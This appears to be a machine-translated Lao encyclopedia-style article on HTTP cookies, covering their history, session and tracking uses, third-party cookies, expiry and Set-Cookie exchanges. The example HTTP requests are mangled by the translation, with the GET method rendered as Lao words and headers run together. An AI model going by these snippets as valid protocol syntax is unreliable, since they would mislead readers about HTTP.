ຄຸກກີອິນເຕີເນັດ: ມັນແມ່ນຫຍັງ? ຄໍານິຍາມ, ຕົ້ນກໍາເນີດ, ປະເພດແລະຄວາມເປັນສ່ວນຕົວ

Un cookie ຫຼື cookie ເວັບ (ຫຼື ຄຸກກີ, ຫຍໍ້ເປັນ ພະຍານ ໃນ Quebec) ຖືກກໍານົດໂດຍໂປໂຕຄອນການສື່ສານ HTTP ວ່າເປັນລໍາດັບຂອງຂໍ້ມູນທີ່ສົ່ງໂດຍເຄື່ອງແມ່ຂ່າຍ HTTP ໄປຫາລູກຄ້າ HTTP, ເຊິ່ງສຸດທ້າຍຈະກັບຄືນມາແຕ່ລະຄັ້ງທີ່ເຄື່ອງແມ່ຂ່າຍ HTTP ດຽວກັນຖືກສອບຖາມພາຍໃຕ້ເງື່ອນໄຂບາງຢ່າງ.

ຄຸກກີແມ່ນທຽບເທົ່າກັບ a ໄຟລ​໌​ຂໍ້​ຄວາມ​ຂະ​ຫນາດ​ນ້ອຍ​ເກັບ​ຮັກ​ສາ​ໄວ້​ຢູ່​ໃນ terminal​ ຂອງຜູ້ໃຊ້ອິນເຕີເນັດ. ທີ່ມີຢູ່ແລ້ວຫຼາຍກວ່າ 20 ປີ, ພວກເຂົາອະນຸຍາດໃຫ້ຜູ້ພັດທະນາເວັບໄຊທ໌ເກັບຂໍ້ມູນຜູ້ໃຊ້ເພື່ອອໍານວຍຄວາມສະດວກໃນການນໍາທາງຂອງພວກເຂົາແລະອະນຸຍາດໃຫ້ປະຕິບັດຫນ້າທີ່ບາງຢ່າງ. ຄຸກກີ້ມີຂໍ້ໂຕ້ແຍ້ງຫຼາຍ ຫຼື ໜ້ອຍສະເໝີ ເພາະວ່າພວກມັນມີຂໍ້ມູນສ່ວນຕົວທີ່ເຫຼືອທີ່ອາດຈະຖືກຂູດຮີດໂດຍພາກສ່ວນທີສາມ.

ມັນຖືກສົ່ງເປັນສ່ວນຫົວ HTTP ໂດຍເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌ໄປຫາຕົວທ່ອງເວັບທີ່ສົ່ງຄືນມັນບໍ່ປ່ຽນແປງໃນແຕ່ລະຄັ້ງທີ່ມັນເຂົ້າເຖິງເຄື່ອງແມ່ຂ່າຍ. ຄຸກກີສາມາດຖືກນໍາໃຊ້ເພື່ອ ການພິສູດຢືນຢັນ, ກອງປະຊຸມ (ການບໍາລຸງຮັກສາຂອງລັດ), ແລະສໍາລັບ ເກັບຮັກສາຂໍ້ມູນສະເພາະກ່ຽວກັບຜູ້ໃຊ້ເຊັ່ນ: ຄວາມມັກຂອງເວັບໄຊ ຫຼືເນື້ອໃນຂອງກະຕ່າຊື້ເຄື່ອງອີເລັກໂທຣນິກ. ຄໍາວ່າ cookie ແມ່ນມາຈາກ ຄຸກກີ magic, ແນວຄວາມຄິດທີ່ມີຊື່ສຽງໃນຄອມພິວເຕີ້ UNIX, ເຊິ່ງດົນໃຈແນວຄວາມຄິດແລະຊື່ຂອງ cookies ຂອງຕົວທ່ອງເວັບ. ມີບາງທາງເລືອກສໍາລັບ cookies, ແຕ່ລະຄົນມີການນໍາໃຊ້ຂອງຕົນເອງ, ຂໍ້ດີແລະຂໍ້ເສຍ.

ເປັນໄຟລ໌ຂໍ້ຄວາມທີ່ງ່າຍດາຍ, cookies ບໍ່ສາມາດປະຕິບັດໄດ້. ພວກ​ເຂົ້າ​ບໍ່​ແມ່ນ ທັງ spyware ຫຼືໄວຣັສ, ເຖິງແມ່ນວ່າ cookies ຈາກບາງສະຖານທີ່ຖືກກວດພົບໂດຍຊອບແວຕ້ານເຊື້ອໄວຣັສຫຼາຍເພາະວ່າພວກເຂົາອະນຸຍາດໃຫ້ຜູ້ໃຊ້ສາມາດຕິດຕາມໄດ້ເມື່ອພວກເຂົາໄປຢ້ຽມຢາມຫຼາຍເວັບໄຊທ໌. 

ຕົວທ່ອງເວັບທີ່ທັນສະໄຫມສ່ວນໃຫຍ່ອະນຸຍາດໃຫ້ຜູ້ໃຊ້ ຕັດສິນໃຈວ່າຈະຍອມຮັບ ຫຼືປະຕິເສດ cookies. ຜູ້ໃຊ້ສາມາດເຮັດໄດ້ ເລືອກວ່າຄຸກກີ້ຖືກເກັບໄວ້ດົນປານໃດ. ຢ່າງໃດກໍຕາມ, ການປະຕິເສດທັງຫມົດຂອງ cookies ເຮັດໃຫ້ບາງເວັບໄຊທ໌ບໍ່ສາມາດໃຊ້ໄດ້. ຕົວຢ່າງ, ເກັບຮັກສາກະຕ່າຊື້ເຄື່ອງຫຼືສະຖານທີ່ທີ່ຕ້ອງການເຂົ້າສູ່ລະບົບໂດຍໃຊ້ຂໍ້ມູນປະຈໍາຕົວ (ຊື່ຜູ້ໃຊ້ແລະລະຫັດຜ່ານ).

ປະຫວັດສາດ

ໄລຍະ ຄຸກກີ ມາຈາກຄໍາສັບພາສາອັງກິດ ຄຸກກີ magic, ເຊິ່ງເປັນຊຸດຂໍ້ມູນທີ່ໂປຣແກຣມໄດ້ຮັບ ແລະສົ່ງຄືນບໍ່ປ່ຽນແປງ. Cookies ໄດ້ຖືກນໍາໃຊ້ແລ້ວໃນ IT ໃນເວລາທີ່ Lou Montulli ມີຄວາມຄິດທີ່ຈະໃຊ້ພວກມັນໃນການສື່ສານເວັບ ໃນເດືອນມິຖຸນາ 1994. ໃນເວລານັ້ນ, ລາວໄດ້ຮັບການຈ້າງງານໂດຍ Netscape Communications, ເຊິ່ງໄດ້ພັດທະນາຄໍາຮ້ອງສະຫມັກ e-commerce ສໍາລັບລູກຄ້າ. Cookies ໄດ້ໃຫ້ການແກ້ໄຂບັນຫາຄວາມຫນ້າເຊື່ອຖືຂອງການປະຕິບັດໂຄງຮ່າງການຊື້ເຄື່ອງ virtual ຂອງຮ້ານ.

John Giannandrea ແລະ Lou Montulli ຂຽນຂໍ້ກໍານົດຄຸກກີທໍາອິດຂອງ Netscape ໃນປີດຽວກັນ. ເວີຊັນ 0.9 ເບຕ້າຂອງ Mosaic Netscape, ປ່ອຍອອກມາເມື່ອວັນທີ 13 ຕຸລາ 1994, ປະສົມປະສານ ເຕັກ​ໂນ​ໂລ​ຊີ cookie​ (ເບິ່ງໂພສ). ການນໍາໃຊ້ cookies ທໍາອິດ (ທີ່ບໍ່ແມ່ນການທົດລອງ) ແມ່ນເພື່ອກໍານົດວ່າຜູ້ເຂົ້າຊົມເວັບໄຊທ໌ Netscape ໄດ້ໄປຢ້ຽມຢາມເວັບໄຊທ໌ກ່ອນ. Montulli ໄດ້ຍື່ນຄໍາຮ້ອງຂໍສິດທິບັດສໍາລັບເຕັກໂນໂລຢີຄຸກກີໃນປີ 1995, ແລະສິດທິບັດຂອງສະຫະລັດ 5774670 ໄດ້ຮັບ. ອະນຸມັດໃນປີ 1998.

ຫຼັງ​ຈາກ​ທີ່​ໄດ້​ຮັບ​ການ​ປະ​ຕິ​ບັດ​ໃນ Netscape 0.9 beta ໃນ​ປີ 1994​, cookies ໄດ້​ຖືກ​ລວມ​ເຂົ້າ​ໄປ​ໃນ Internet Explorer 2​, ປ່ອຍ​ອອກ​ມາ​ເມື່ອ​ເດືອນ​ຕຸ​ລາ 1995​.

ການແນະນໍາ cookies ຍັງບໍ່ທັນເປັນທີ່ຮູ້ຈັກຢ່າງກວ້າງຂວາງຕໍ່ສາທາລະນະ. ໂດຍສະເພາະ, cookies ໄດ້ຖືກຍອມຮັບໂດຍຄ່າເລີ່ມຕົ້ນໃນການຕັ້ງຄ່າຂອງຕົວທ່ອງເວັບ, ແລະຜູ້ໃຊ້ບໍ່ໄດ້ຖືກແຈ້ງໃຫ້ຮູ້ເຖິງການປະກົດຕົວຂອງພວກເຂົາ. ບາງຄົນໄດ້ຮັບຮູ້ເຖິງການມີຢູ່ຂອງ cookies ປະມານໄຕມາດທໍາອິດຂອງປີ 1995, ແຕ່ປະຊາຊົນທົ່ວໄປພຽງແຕ່ເອົາການມີຢູ່ຂອງເຂົາເຈົ້າຫຼັງຈາກ Financial Times ຈັດພີມມາບົດຄວາມໃນວັນທີ 12 ກຸມພາ 1996. ໃນປີດຽວກັນ, cookies ໄດ້ຮັບຄວາມສົນໃຈຈາກສື່ມວນຊົນຢ່າງຫຼວງຫຼາຍ. ເນື່ອງຈາກການລ່ວງລະເມີດຄວາມເປັນສ່ວນຕົວທີ່ເປັນໄປໄດ້. ຫົວຂໍ້ຂອງ cookies ໄດ້ຖືກປຶກສາຫາລືຢູ່ໃນສອງປຶກສາຫາລືຂອງຄະນະກໍາມະການການຄ້າຂອງລັດຖະບານກາງອາເມລິກາໃນປີ 1996 ແລະ 1997.

ການພັດທະນາຂໍ້ກໍານົດຂອງຄຸກກີຢ່າງເປັນທາງການກໍາລັງດໍາເນີນຢູ່ແລ້ວ. ການສົນທະນາຄັ້ງທໍາອິດຂອງຂໍ້ກໍານົດຢ່າງເປັນທາງການໄດ້ຈັດຂຶ້ນໃນເດືອນເມສາ 1995 ໃນບັນຊີລາຍຊື່ທາງໄປສະນີ www-talk. ກຸ່ມ​ເຮັດ​ວຽກ​ພິ​ເສດ IETF ໄດ້​ຖືກ​ສ້າງ​ຕັ້ງ​ຂຶ້ນ. ສອງຂໍ້ສະເຫນີທາງເລືອກສໍາລັບການນໍາສະເຫນີລັດກັບທຸລະກໍາ HTTP ໄດ້ຖືກສະເຫນີໂດຍ Brian Behlendorf ແລະ David Kristol ຕາມລໍາດັບ, ແຕ່ກຸ່ມ, ນໍາໂດຍ Kristol ເອງ, ໄດ້ຕັດສິນໃຈທີ່ຈະນໍາໃຊ້ຂໍ້ກໍານົດຂອງ Netscape ເປັນຈຸດເລີ່ມຕົ້ນ. ໃນເດືອນກຸມພາ 1996, ຄະນະປະຕິບັດງານໄດ້ກໍານົດວ່າ cookies ຂອງພາກສ່ວນທີສາມເປັນໄພຂົ່ມຂູ່ທີ່ສໍາຄັນຕໍ່ຄວາມເປັນສ່ວນຕົວ. ຂໍ້ມູນຈໍາເພາະທີ່ຜະລິດໂດຍກຸ່ມໄດ້ຖືກຈັດພີມມາໃນທີ່ສຸດເປັນ RFC 2109.

ຈາກທ້າຍປີ 2014, ພວກເຮົາເຫັນປ້າຍໂຄສະນາກ່ຽວກັບ cookies ໃນຫຼາຍໆເວັບໄຊທ໌. ມີຢ່າງຫນ້ອຍຫນຶ່ງສ່ວນຂະຫຍາຍຂອງຕົວທ່ອງເວັບທີ່ອະນຸຍາດໃຫ້ ປ້າຍໂຄສະນາບໍ່ສະແດງ.

ປະເພດຂອງ cookies ແລະການນໍາໃຊ້

ການຈັດການເຊດຊັນ

ຄຸກກີສາມາດຖືກນໍາໃຊ້ເພື່ອຮັກສາຂໍ້ມູນຜູ້ໃຊ້ໃນລະຫວ່າງການນໍາທາງ, ແຕ່ຍັງໃນທົ່ວການຢ້ຽມຢາມຫຼາຍຄັ້ງ. Cookies ໄດ້ຖືກນໍາສະເຫນີເພື່ອສະຫນອງວິທີການປະຕິບັດໂຄງຮ່າງການຊື້ເຄື່ອງເອເລັກໂຕຣນິກ, ອຸປະກອນ virtual ທີ່ຜູ້ໃຊ້ສາມາດສະສົມລາຍການທີ່ລາວຕ້ອງການຊື້ໃນຂະນະທີ່ທ່ອງເວັບ.

ມື້ນີ້, ແອັບຕ່າງໆເຊັ່ນກະຕ່າຊື້ເຄື່ອງແທນເກັບລາຍການລາຍການໃນຖານຂໍ້ມູນໃນເຊີບເວີ, ເຊິ່ງເປັນສິ່ງທີ່ມັກ; ກ່ວາບັນທຶກພວກມັນໄວ້ໃນຄຸກກີຕົວມັນເອງ. ເຊີບເວີເວັບສົ່ງຄຸກກີທີ່ມີ ID ເຊດຊັນທີ່ເປັນເອກະລັກ. ຫຼັງຈາກນັ້ນ, ຕົວທ່ອງເວັບຂອງເວັບຈະສົ່ງຄືນ ID ເຊດຊັນນີ້ໃນແຕ່ລະຄໍາຮ້ອງຂໍຕໍ່ໄປແລະລາຍການໃນກະຕ່າໄດ້ຖືກບັນທຶກໄວ້ແລະເຊື່ອມໂຍງກັບ ID ເຊດຊັນທີ່ເປັນເອກະລັກດຽວກັນນີ້.

ການນໍາໃຊ້ cookies ເລື້ອຍໆແມ່ນເປັນປະໂຫຍດສໍາລັບການເຂົ້າສູ່ລະບົບເວັບໄຊທ໌ໂດຍໃຊ້ຂໍ້ມູນປະຈໍາຕົວ. ໃນສັ້ນ, ເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌ທໍາອິດສົ່ງຄຸກກີທີ່ມີ ID ເຊດຊັນທີ່ເປັນເອກະລັກ. ຫຼັງຈາກນັ້ນ, ຜູ້ໃຊ້ໃຫ້ຂໍ້ມູນປະຈໍາຕົວຂອງພວກເຂົາ (ໂດຍປົກກະຕິແມ່ນຊື່ຜູ້ໃຊ້ແລະລະຫັດຜ່ານ). ແອັບພລິເຄຊັນເວັບຫຼັງຈາກນັ້ນຢືນຢັນເຊດຊັນແລະອະນຸຍາດໃຫ້ຜູ້ໃຊ້ເຂົ້າເຖິງບໍລິການ.

ສ່ວນບຸກຄົນ

Cookies ສາມາດຖືກນໍາໃຊ້ເພື່ອຈື່ຂໍ້ມູນກ່ຽວກັບຜູ້ໃຊ້ຂອງເວັບໄຊທ໌ໃດຫນຶ່ງ, ເພື່ອສະແດງໃຫ້ລາວມີເນື້ອຫາທີ່ເຫມາະສົມໃນອະນາຄົດ. ຕົວຢ່າງເຊັ່ນ, ເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌ສາມາດສົ່ງຄຸກກີທີ່ມີຊື່ຜູ້ໃຊ້ສຸດທ້າຍທີ່ໃຊ້ໃນການເຂົ້າສູ່ລະບົບເວັບໄຊທ໌ນັ້ນ, ດັ່ງນັ້ນຊື່ຜູ້ໃຊ້ສາມາດຖືກຈັດໃສ່ລ່ວງຫນ້າໃນການຢ້ຽມຢາມໃນອະນາຄົດ.

ຫຼາຍໆເວັບໄຊທ໌ໃຊ້ cookies ສໍາລັບການປັບແຕ່ງສ່ວນບຸກຄົນໂດຍອີງໃສ່ຄວາມມັກຂອງຜູ້ໃຊ້. ຜູ້ໃຊ້ເລືອກຄວາມມັກຂອງເຂົາເຈົ້າໃນຮູບແບບຫນຶ່ງແລະສົ່ງເຫຼົ່ານີ້ໄປຫາເຄື່ອງແມ່ຂ່າຍ. ເຊີບເວີເຂົ້າລະຫັດຄວາມມັກໃນຄຸກກີ້ ແລະສົ່ງມັນກັບຄືນໄປຫາຕົວທ່ອງເວັບ. ຕໍ່ມາ, ແຕ່ລະຄັ້ງທີ່ຜູ້ໃຊ້ເຂົ້າເຖິງຫນ້າຂອງເວັບໄຊທ໌ນີ້, ຕົວທ່ອງເວັບຈະສົ່ງຄືນ cookie ແລະດັ່ງນັ້ນບັນຊີລາຍຊື່ຂອງຄວາມຕ້ອງການ; ເຊີບເວີສາມາດປັບແຕ່ງໜ້າໄດ້ຕາມຄວາມມັກຂອງຜູ້ໃຊ້. ຕົວຢ່າງ, ເວັບໄຊທ໌ Wikipedia ອະນຸຍາດໃຫ້ຜູ້ໃຊ້ສາມາດເລືອກຜິວຫນັງຂອງເວັບໄຊທ໌ທີ່ພວກເຂົາມັກ. ເຄື່ອງຈັກຊອກຫາຂອງ Google ອະນຸຍາດໃຫ້ຜູ້ໃຊ້ຂອງຕົນ (ເຖິງແມ່ນວ່າພວກເຂົາບໍ່ໄດ້ລົງທະບຽນ) ເລືອກຈໍານວນຜົນໄດ້ຮັບທີ່ພວກເຂົາຕ້ອງການເບິ່ງໃນແຕ່ລະຫນ້າຜົນໄດ້ຮັບ.

ການຕິດຕາມ

ການຕິດຕາມ cookies ແມ່ນໃຊ້ເພື່ອຕິດຕາມນິໄສການທ່ອງເວັບຂອງຜູ້ໃຊ້ອິນເຕີເນັດ. ນີ້ຍັງສາມາດເຮັດໄດ້ໃນບາງສ່ວນໂດຍໃຊ້ທີ່ຢູ່ IP ຂອງຄອມພິວເຕີເຮັດຄໍາຮ້ອງຂໍສໍາລັບຫນ້າຫຼືໂດຍໃຊ້ຫົວຂໍ້ HTTP 'referrer' ທີ່ລູກຄ້າສົ່ງກັບທຸກໆຄໍາຮ້ອງຂໍ, ແຕ່ cookies ອະນຸຍາດໃຫ້ມີຄວາມຊັດເຈນກວ່າ. ນີ້ສາມາດເຮັດໄດ້ໃນຕົວຢ່າງຕໍ່ໄປນີ້:

1. ຖ້າຜູ້ໃຊ້ໂທຫາຫນ້າເວັບຢູ່ໃນເວັບໄຊທ໌ໃດຫນຶ່ງ, ແລະການຮ້ອງຂໍບໍ່ມີຄຸກກີ, ເຄື່ອງແມ່ຂ່າຍສົມມຸດວ່ານີ້ແມ່ນຫນ້າເວັບທໍາອິດທີ່ຜູ້ໃຊ້ເຂົ້າມາ. ຫຼັງຈາກນັ້ນ, ເຄື່ອງແມ່ຂ່າຍຈະສ້າງສາຍແບບສຸ່ມແລະສົ່ງມັນໄປຫາຕົວທ່ອງເວັບພ້ອມກັບຫນ້າທີ່ຮ້ອງຂໍ.
2. ຈາກເວລານີ້, ຄຸກກີຈະຖືກສົ່ງໂດຍອັດຕະໂນມັດໂດຍຕົວທ່ອງເວັບໃນແຕ່ລະຄັ້ງທີ່ຫນ້າເວັບໃຫມ່ຖືກເອີ້ນ. ເຄື່ອງແມ່ຂ່າຍຈະສົ່ງຫນ້າຕາມປົກກະຕິ, ແຕ່ຍັງຈະບັນທຶກ URL ຂອງຫນ້າທີ່ເອີ້ນວ່າ, ວັນທີ, ເວລາຂອງການຮ້ອງຂໍແລະຄຸກກີໃນໄຟລ໌ບັນທຶກ.

ໂດຍການເບິ່ງໄຟລ໌ບັນທຶກ, ມັນເປັນໄປໄດ້ທີ່ຈະເບິ່ງວ່າຫນ້າເວັບໃດທີ່ຜູ້ໃຊ້ໄດ້ໄປຢ້ຽມຢາມແລະຢູ່ໃນຄໍາສັ່ງໃດ. ຕົວຢ່າງ, ຖ້າໄຟລ໌ມີບາງຄໍາຮ້ອງຂໍທີ່ໃຊ້ id=abc cookie, ນີ້ອາດຈະກໍານົດວ່າຄໍາຮ້ອງຂໍທັງຫມົດເຫຼົ່ານີ້ມາຈາກຜູ້ໃຊ້ດຽວກັນ. URL ທີ່ຮ້ອງຂໍ, ວັນທີແລະເວລາທີ່ກ່ຽວຂ້ອງກັບຄໍາຮ້ອງຂໍອະນຸຍາດໃຫ້ຜົນການຊອກຫາຂອງຜູ້ໃຊ້ຖືກຕິດຕາມ.

ຄຸກກີ້ພາກສ່ວນທີສາມ ແລະ web beacons, ອະທິບາຍຂ້າງລຸ່ມນີ້, ນອກຈາກນັ້ນເຮັດໃຫ້ສາມາດຕິດຕາມໃນທົ່ວເວັບໄຊຕ່າງໆ. ການຕິດຕາມສະຖານທີ່ດຽວໂດຍທົ່ວໄປແມ່ນຖືກນໍາໃຊ້ເພື່ອຈຸດປະສົງທາງສະຖິຕິ. ໃນທາງກົງກັນຂ້າມ, ການຕິດຕາມເວັບໄຊທ໌ຕ່າງໆໂດຍໃຊ້ cookies ພາກສ່ວນທີສາມໂດຍທົ່ວໄປແມ່ນໃຊ້ໂດຍບໍລິສັດໂຄສະນາເພື່ອຜະລິດໂປຼໄຟລ໌ຜູ້ໃຊ້ທີ່ບໍ່ເປີດເຜີຍຊື່ (ເຊິ່ງຫຼັງຈາກນັ້ນຖືກນໍາໃຊ້ເພື່ອກໍານົດວ່າການໂຄສະນາໃດຄວນຖືກສະແດງໃຫ້ຜູ້ໃຊ້ເຊັ່ນດຽວກັນກັບການສົ່ງອີເມວທີ່ສອດຄ້ອງກັນກັບການໂຄສະນາເຫຼົ່ານີ້ - SPAM. ).

ການຕິດຕາມ cookies ແມ່ນມີຄວາມສ່ຽງຕໍ່ການບຸກລຸກຂອງຄວາມເປັນສ່ວນຕົວຂອງຜູ້ໃຊ້ແຕ່ພວກເຂົາສາມາດຖືກລຶບຖິ້ມໄດ້ງ່າຍ. ຕົວທ່ອງເວັບທີ່ທັນສະໄຫມສ່ວນໃຫຍ່ປະກອບມີທາງເລືອກທີ່ຈະລຶບ cookies ທີ່ຍັງຄົງຄ້າງໂດຍອັດຕະໂນມັດເມື່ອປິດແອັບພລິເຄຊັນ.

ຄຸກກີພາກສ່ວນທີສາມ

ຮູບພາບແລະວັດຖຸອື່ນໆທີ່ມີຢູ່ໃນຫນ້າເວັບອາດຈະຢູ່ໃນເຄື່ອງແມ່ຂ່າຍທີ່ແຕກຕ່າງຈາກຫນ້າທີ່ໂຮດຫນ້າ. ເພື່ອສະແດງຫນ້າ, ຕົວທ່ອງເວັບຈະດາວໂຫລດວັດຖຸເຫຼົ່ານີ້ທັງຫມົດ. ເວັບໄຊທ໌ສ່ວນໃຫຍ່ມີຂໍ້ມູນຈາກແຫຼ່ງຕ່າງໆ. ຕົວຢ່າງ: ຖ້າທ່ານພິມ www.example.com ເຂົ້າໄປໃນຕົວທ່ອງເວັບຂອງທ່ານ, ມັກຈະມີວັດຖຸຫຼືການໂຄສະນາຢູ່ໃນສ່ວນຫນຶ່ງຂອງຫນ້າທີ່ມາຈາກແຫຼ່ງຕ່າງໆ, i.e. ຈາກໂດເມນທີ່ແຕກຕ່າງກັນກ່ວາ www.example.com. cookies ພັກ "ທໍາອິດ" ແມ່ນ cookies ທີ່ຖືກກໍານົດໂດຍໂດເມນທີ່ລະບຸໄວ້ໃນແຖບທີ່ຢູ່ຂອງຕົວທ່ອງເວັບ. ຄຸກກີ້ພາກສ່ວນທີສາມຖືກກຳນົດໂດຍໜຶ່ງໃນວັດຖຸໜ້າເວັບທີ່ມາຈາກໂດເມນອື່ນ.

ໂດຍຄ່າເລີ່ມຕົ້ນ, ຕົວທ່ອງເວັບເຊັ່ນ Mozilla Firefox, Microsoft Internet Explorer ແລະ Opera ຍອມຮັບ cookies ພາກສ່ວນທີສາມ, ແຕ່ຜູ້ໃຊ້ສາມາດປ່ຽນການຕັ້ງຄ່າໃນຕົວເລືອກຂອງຕົວທ່ອງເວັບເພື່ອບລັອກພວກມັນ. ບໍ່ມີຄວາມສ່ຽງດ້ານຄວາມປອດໄພທີ່ປະກົດຢູ່ໃນຄຸກກີພາກສ່ວນທີສາມທີ່ເປີດໃຊ້ງານເວັບ, ແນວໃດກໍ່ຕາມພວກມັນຍັງຖືກໃຊ້ເພື່ອຕິດຕາມຜູ້ໃຊ້. ຈາກ​ເວັບ​ໄຊ​.

ເຄື່ອງມືເຊັ່ນ Ghostery ທີ່ມີຢູ່ສໍາລັບຕົວທ່ອງເວັບທັງຫມົດລວມທັງ Google Chrome ສາມາດສະກັດການແລກປ່ຽນລະຫວ່າງພາກສ່ວນທີສາມ.

ການຈັດຕັ້ງປະຕິບັດ

ຄຸກກີແມ່ນຂໍ້ມູນນ້ອຍໆທີ່ສົ່ງໂດຍເຊີບເວີເວັບໄປຫາຕົວທ່ອງເວັບ. ຕົວທ່ອງເວັບສົ່ງຄືນພວກມັນບໍ່ປ່ຽນແປງກັບເຄື່ອງແມ່ຂ່າຍ, ແນະນໍາສະຖານະ (ຄວາມຊົງຈໍາຂອງເຫດການທີ່ຜ່ານມາ) ເຂົ້າໄປໃນທຸລະກໍາ HTTP ທີ່ບໍ່ມີລັດ. ໂດຍບໍ່ມີ cookies, ແຕ່ລະການດຶງຂໍ້ມູນຂອງຫນ້າເວັບຫຼືອົງປະກອບຂອງຫນ້າເວັບແມ່ນເຫດການທີ່ໂດດດ່ຽວ, ເປັນເອກະລາດຈາກການຮ້ອງຂໍອື່ນໆທີ່ເຮັດກັບເວັບໄຊທ໌ດຽວກັນ. ນອກເຫນືອຈາກການສາມາດຖືກກໍານົດໂດຍເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌, cookies ຍັງສາມາດຖືກກໍານົດໂດຍພາສາ scripting ເຊັ່ນ JavaScript, ຖ້າໄດ້ຮັບການສະຫນັບສະຫນູນແລະອະນຸຍາດຈາກຕົວທ່ອງເວັບ.

ຂໍ້ມູນຈໍາເພາະຄຸກກີຢ່າງເປັນທາງການແນະນໍາວ່າຕົວທ່ອງເວັບຄວນຈະສາມາດບັນທຶກແລະສົ່ງຄືນຈໍານວນຕໍາ່ສຸດທີ່ຂອງ cookies. ໂດຍສະເພາະ, ຕົວທ່ອງເວັບຄວນຈະສາມາດເກັບຮັກສາຢ່າງຫນ້ອຍ 300 cookies ຂອງສີ່ກິໂລໄບແຕ່ລະ, ແລະຢ່າງຫນ້ອຍ 20 cookies ສໍາລັບເຄື່ອງແມ່ຂ່າຍຫຼືໂດເມນດຽວ.

ອີງຕາມພາກທີ 3.1 ຂອງ RFC 2965, ຊື່ຄຸກກີແມ່ນບໍ່ມີຕົວພິມນ້ອຍໃຫຍ່.

ຄຸກກີສາມາດລະບຸວັນໝົດອາຍຸຂອງມັນໄດ້, ໃນກໍລະນີທີ່ຄຸກກີຈະຖືກລຶບໃນວັນທີນີ້. ຖ້າຄຸກກີບໍ່ໄດ້ລະບຸວັນຫມົດອາຍຸ, ຄຸກກີຈະຖືກລຶບທັນທີທີ່ຜູ້ໃຊ້ອອກຈາກຕົວທ່ອງເວັບຂອງລາວ. ດັ່ງນັ້ນ, ການກໍານົດວັນຫມົດອາຍຸແມ່ນວິທີທີ່ຈະເຮັດໃຫ້ cookie ຢູ່ລອດຜ່ານຫຼາຍໆຄັ້ງ. ສໍາລັບເຫດຜົນນີ້, cookies ທີ່ມີວັນຫມົດອາຍຸໄດ້ຖືກກ່າວເຖິງ ທີ່ຍັງຄົງຄ້າງ. ຄໍາຮ້ອງສະຫມັກຕົວຢ່າງ: ເວັບໄຊທ໌ຂາຍຍ່ອຍອາດຈະໃຊ້ cookies ຄົງທີ່ເພື່ອບັນທຶກລາຍການທີ່ຜູ້ໃຊ້ໄດ້ວາງໄວ້ໃນກະຕ່າຊື້ຂອງພວກເຂົາ (ໃນຄວາມເປັນຈິງ, cookie ອາດຈະຫມາຍເຖິງການເຂົ້າທີ່ບັນທຶກໄວ້ໃນຖານຂໍ້ມູນຢູ່ໃນບ່ອນຂາຍ, ແລະບໍ່ແມ່ນຢູ່ໃນຄອມພິວເຕີຂອງທ່ານ) . ໂດຍຜ່ານວິທີນີ້, ຖ້າຜູ້ໃຊ້ອອກຈາກຕົວທ່ອງເວັບຂອງພວກເຂົາໂດຍບໍ່ມີການຊື້ແລະກັບຄືນໄປຫາມັນຕໍ່ມາ, ພວກເຂົາຈະສາມາດຊອກຫາລາຍການໃນກະຕ່າໄດ້ອີກເທື່ອຫນຶ່ງ. ຖ້າ cookies ເຫຼົ່ານີ້ບໍ່ໄດ້ໃຫ້ວັນຫມົດອາຍຸ, ພວກເຂົາຈະຫມົດອາຍຸເມື່ອຕົວທ່ອງເວັບຖືກປິດ, ແລະຂໍ້ມູນກ່ຽວກັບເນື້ອໃນຂອງກະຕ່າຈະສູນເສຍໄປ.

Cookies ສາມາດຖືກຈໍາກັດໃນຂອບເຂດຂອງໂດເມນສະເພາະ, ໂດເມນຍ່ອຍຫຼືເສັ້ນທາງໃນເຄື່ອງແມ່ຂ່າຍທີ່ສ້າງພວກມັນ.

ການສ້າງຄຸກກີ

ການໂອນຫນ້າເວັບແມ່ນເຮັດໂດຍໃຊ້ HyperText Transfer Protocol (HTTP). ໂດຍການບໍ່ສົນໃຈ cookies, ຕົວທ່ອງເວັບໂທຫາຫນ້າເວັບຈາກເຄື່ອງແມ່ຂ່າຍເວັບໂດຍການສົ່ງຂໍ້ຄວາມສັ້ນໃຫ້ພວກເຂົາ ຄຳຮ້ອງຂໍ HTTP. ຕົວຢ່າງ, ເພື່ອເຂົ້າຫາຫນ້າ www.example.org/index.html, ຕົວທ່ອງເວັບເຊື່ອມຕໍ່ກັບເຄື່ອງແມ່ຂ່າຍ www.example.org ແລະສົ່ງຄໍາຮ້ອງຂໍທີ່ມີລັກສະນະນີ້:

	ເອົາ /index.html HTTP/1.1Host: www.example.org
navigator	→	ເຊີຟເວີ

ເຄື່ອງແມ່ຂ່າຍຕອບສະຫນອງໂດຍການສົ່ງຫນ້າທີ່ຮ້ອງຂໍ, ກ່ອນຫນ້າດ້ວຍຂໍ້ຄວາມທີ່ຄ້າຍຄືກັນ, ທັງຫມົດຖືກເອີ້ນ ຄໍາຕອບ HTTP. ແພັກເກັດນີ້ອາດມີເສັ້ນທີ່ສັ່ງໃຫ້ບຣາວເຊີເກັບຮັກສາຄຸກກີ້:

	HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value (ໜ້າ HTML)
navigator	←	ເຊີຟເວີ

ເຄື່ອງແມ່ຂ່າຍພຽງແຕ່ສົ່ງເສັ້ນ Set-Cookie, ຖ້າເຄື່ອງແມ່ຂ່າຍຕ້ອງການໃຫ້ຕົວທ່ອງເວັບເກັບຮັກສາ cookie. Set-Cookie ແມ່ນການຮ້ອງຂໍໃຫ້ຕົວທ່ອງເວັບເກັບຮັກສາ name=value string ແລະສົ່ງຄືນໃນທຸກຄໍາຮ້ອງຂໍໃນອະນາຄົດໃຫ້ກັບເຄື່ອງແມ່ຂ່າຍ. ຖ້າຕົວທ່ອງເວັບສະຫນັບສະຫນູນ cookies ແລະ cookies ຖືກເປີດໃຊ້ໃນຕົວເລືອກຂອງຕົວທ່ອງເວັບ, cookies ຈະຖືກລວມເຂົ້າໃນທຸກຄໍາຮ້ອງຂໍຕໍ່ໄປກັບເຄື່ອງແມ່ຂ່າຍດຽວກັນ. ຕົວຢ່າງ, ຕົວທ່ອງເວັບໂທຫາຫນ້າ www.example.org/news.html ໂດຍການສົ່ງຄໍາຮ້ອງຂໍຕໍ່ໄປນີ້ໄປຫາເຄື່ອງແມ່ຂ່າຍ www.example.org:

	ໄດ້ຮັບ /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
